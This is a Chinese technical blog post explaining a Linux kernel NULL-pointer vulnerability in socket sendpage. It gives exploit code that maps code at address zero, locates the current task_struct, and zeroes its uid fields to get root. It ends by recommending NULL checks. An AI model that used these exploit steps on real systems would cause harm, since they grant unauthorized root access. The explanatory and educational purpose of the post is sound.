NULL指针引起的一个linux内核漏洞

简介:

NULL指针一般都是应用于有效性检测的,其实这里面有一个约定俗成的规则,就是说无效指针并不一定是 NULL,只是为了简单起见,规则约定只要指针无效了就将之设置为NULL,结果就是NULL这个指针被用来检测指针有效性,于是它就不能用作其它了,而实际上NULL就是0,代表了数值编号为0的一个内存地址,抛开那个约定,它和别的addr没有任何区别,简单的说,完全可以选择一个其它的地址作为指针有效性检测,比如0x1234等等,不选其它地址的原因就是第一,NULL比较好记忆,第二,由于NULL就是0,因此很容易进行布尔判断。请看下面的程序:

void null_func()

{

printf("aaaaaaaaaaaaaaaaaaaaaaaaaa/n");

}

void map_and_call_null()

{

char *addr = NULL;

addr = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);

addr[0] = '/xff';

addr[1] = '/x25';

*(unsigned int *)&addr[2] = 6;

*(unsigned long *)&addr[6] = (unsigned long)&null_func;

void (*aaa)();

aaa = NULL; //设置为NULL

(*aaa)();

}

int main(void)

{

map_and_call_null(NULL);

}

结果成功打印出了一片a,这就说明NULL是可以作为一个正常的地址来使用的,如此一来就出现了一个漏洞,其实按照理论上讲除非你把NULL地址的内存的访问权限完全封死,要不然这个漏洞就是无法弥补的,只能通过程序员自己来负责了。而完全封死NULL又不符合设计规范,用户空间的进程内存是可以被该进程自由访问的,任何机构都没有权力封死一块内存的访问权限,既然不能封死NULL,那么按照规则和编译器的特性内核中的指针在初始化的时候都被初始化成了 NULL,如果后面没有再被赋予正确的值,那么它将一直是NULL,如果此时有一个执行绪没有检查NULL指针直接调用了一个可能是NULL的回调函数,那么只要在NULL地址处映射着的代码都将被执行,而映射什么代码全部是用户进程说了算的。于是乎在内核空间为了安全起见一般都将函数指针初始化为一个 stub函数,然后在该stub中直接返回一个出错码,还有一种初始化方式就是初始化为一个0xc0000000指针,用户空间是无法访问内核空间的,因此就不能往这个地址映射任何东西,内核空间和用户空间完全分治。

现在的内核普遍采用了stub函数的初始化方式,但是总是有一些例外,正如漏洞描述上所说的,并不是所有的事情都符合这个约定的,因此就存在有一些函数没有被初始化为stub的,socket的file_operations中的sendpage就是其中之一,它实现如下:

static ssize_t sock_sendpage(struct file *file,...)

{

struct socket *sock;

int flags;

sock = file->private_data;

flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT;

if (more)

flags |= MSG_MORE;

return sock->ops->sendpage(sock, page, offset, size, flags);

}

如果碰上没有初始化sock->ops->sendpage为stub的情况,那么它就是NULL,如果对应的协议族根本没有用到这个回调函数,那么它将一直是NULL,于是乎只需要在用户空间将NULL地址处映射为修改uid或者euid的代码就可以从普通权限跳跃到root权限。但是这个漏洞额度利用并不像内核自杀式漏洞的利用那么简单。

由于代码是在用户空间注入的,所以就不能直接用内核空间的current宏了,必须通过内核栈来间接的得到当前进程的task_struct指针,其实内核空间的current宏也是这么实现的,只不过在用户空间编译程序之前是不能动态使用内核数据结构的,那么当用户空间代码注入到内核以后(其实没有注入内核,而是引导内核空间的执行绪调用用户空间的代码而已),自己按照current的实现方式再实现一个好了,这对内核爱好者应该不难:

static inline unsigned long get_current_4k(void)

{

unsigned long current = 0;

asm volatile (

" movl %%esp, %0;"

: "=r" (current)

);

current = *(unsigned long *)(current & 0xfffff000);

if (current < 0xc0000000 || current > 0xfffff000)

return 0;

return current;

}

找到了当前进程的task_struct,那么接下来就是找到其uid/euid字段并且更改之,如何找到这些字段又是一个难题,因为在用户空间并不知道该运行的内核的task_struct是怎么实现的,因此只能通过特征来猜测了,我们现在知道的信息是当前进程的uid,euid以及uid,euid等字段在task_struct中的相对位置,就是说虽然不知道uid的绝对偏移,但是知道euid和uid的相对偏移信息,如此一来就可以一个一个字节的搜索了,代码如下:

repeat:

current = (unsigned int *)orig_current;(由get_current_4k()得到)

while (((unsigned long)current < (orig_current + 0x1000 - 17 )) &&

(current[0] != our_uid || current[1] != our_uid ||

current[2] != our_uid || current[3] != our_uid))

current++;

if ((unsigned long)current >= (orig_current + 0x1000 - 17 )) {

if (orig_current == orig_current_4k) {

orig_current = get_current_8k();

goto repeat;

}

return;

}

got_root = 1;

memset(current, 0, sizeof(unsigned int) * 8); //最终修改task_struct的uid信息

如此用NULL指针漏洞就可以从普通用户权限提升到root用户权限,但是这一招在windows上能否行得通呢?我们来做一个实验:

unsigned long addr = XXX;//随便一个0到64k的地址都可以,不妨设置为NULL

char * p = (char *) VirtualAlloc((LPVOID)addr,0x1000,MEM_COMMIT,PAGE_READONLY);

DWORD dwRequest;

BOOL b = VirtualProtect(p,0x1000,PAGE_READWRITE,&dwRequest);

经过上述的实验,发现两个函数都失败了,为什么呢?其实在windows中明确规定了一个64k大小的用户禁入区,也就是这个区域内的内存是不能访问的,这就避免了linux中的上述的漏洞问题,但是为何linux不这么做呢?呵呵,linux不将NULL封死就是因为机制和策略相分离的原则,操作系统内核给与用户空间最大的自由,不规定内存怎么映射,随便怎么映射都可以。如果非要说linux的NULL指针没有封死是个潜在的漏洞,那也只能说该漏洞是内核路径没有严格验证指针是否为NULL导致的而不是NULL本身导致的,需要做的不是封死NULL,而是在有漏洞的地方加上NULL判断


 本文转自 dog250 51CTO博客,原文链接:http://blog.51cto.com/dog250/1273335


相关文章
|
15天前
|
Linux C语言
Linux内核队列queue.h
Linux内核队列queue.h
|
1月前
|
存储 Shell Linux
【Shell 命令集合 系统设置 】Linux 生成并更新内核模块的依赖 depmod命令 使用指南
【Shell 命令集合 系统设置 】Linux 生成并更新内核模块的依赖 depmod命令 使用指南
32 0
|
1月前
|
Shell Linux C语言
【Shell 命令集合 系统设置 】⭐Linux 卸载已加载的内核模块rmmod命令 使用指南
【Shell 命令集合 系统设置 】⭐Linux 卸载已加载的内核模块rmmod命令 使用指南
29 1
|
8天前
|
算法 Linux 调度
深入理解Linux内核的进程调度机制
【4月更文挑战第17天】在多任务操作系统中,进程调度是核心功能之一,它决定了处理机资源的分配。本文旨在剖析Linux操作系统内核的进程调度机制,详细讨论其调度策略、调度算法及实现原理,并探讨了其对系统性能的影响。通过分析CFS(完全公平调度器)和实时调度策略,揭示了Linux如何在保证响应速度与公平性之间取得平衡。文章还将评估最新的调度技术趋势,如容器化和云计算环境下的调度优化。
|
13天前
|
算法 Linux 调度
深度解析:Linux内核的进程调度机制
【4月更文挑战第12天】 在多任务操作系统如Linux中,进程调度机制是系统的核心组成部分之一,它决定了处理器资源如何分配给多个竞争的进程。本文深入探讨了Linux内核中的进程调度策略和相关算法,包括其设计哲学、实现原理及对系统性能的影响。通过分析进程调度器的工作原理,我们能够理解操作系统如何平衡效率、公平性和响应性,进而优化系统表现和用户体验。
20 3
|
20天前
|
负载均衡 算法 Linux
深度解析:Linux内核调度器的演变与优化策略
【4月更文挑战第5天】 在本文中,我们将深入探讨Linux操作系统的核心组成部分——内核调度器。文章将首先回顾Linux内核调度器的发展历程,从早期的简单轮转调度(Round Robin)到现代的完全公平调度器(Completely Fair Scheduler, CFS)。接着,分析当前CFS面临的挑战以及社区提出的各种优化方案,最后提出未来可能的发展趋势和研究方向。通过本文,读者将对Linux调度器的原理、实现及其优化有一个全面的认识。
|
20天前
|
Ubuntu Linux
Linux查看内核版本
在Linux系统中查看内核版本有多种方法:1) 使用`uname -r`命令直接显示版本号;2) 通过`cat /proc/version`查看内核详细信息;3) 利用`dmesg | grep Linux`显示内核版本行;4) 如果支持,使用`lsb_release -a`查看发行版及内核版本。
36 6
|
23天前
|
Linux 内存技术
Linux内核读取spi-nor flash sn
Linux内核读取spi-nor flash sn
18 1
|
24天前
C中的NULL指针
C中的NULL指针。
4 1
|
30天前
|
存储 网络协议 Linux
【Linux 解惑 】谈谈你对linux内核的理解
【Linux 解惑 】谈谈你对linux内核的理解
23 0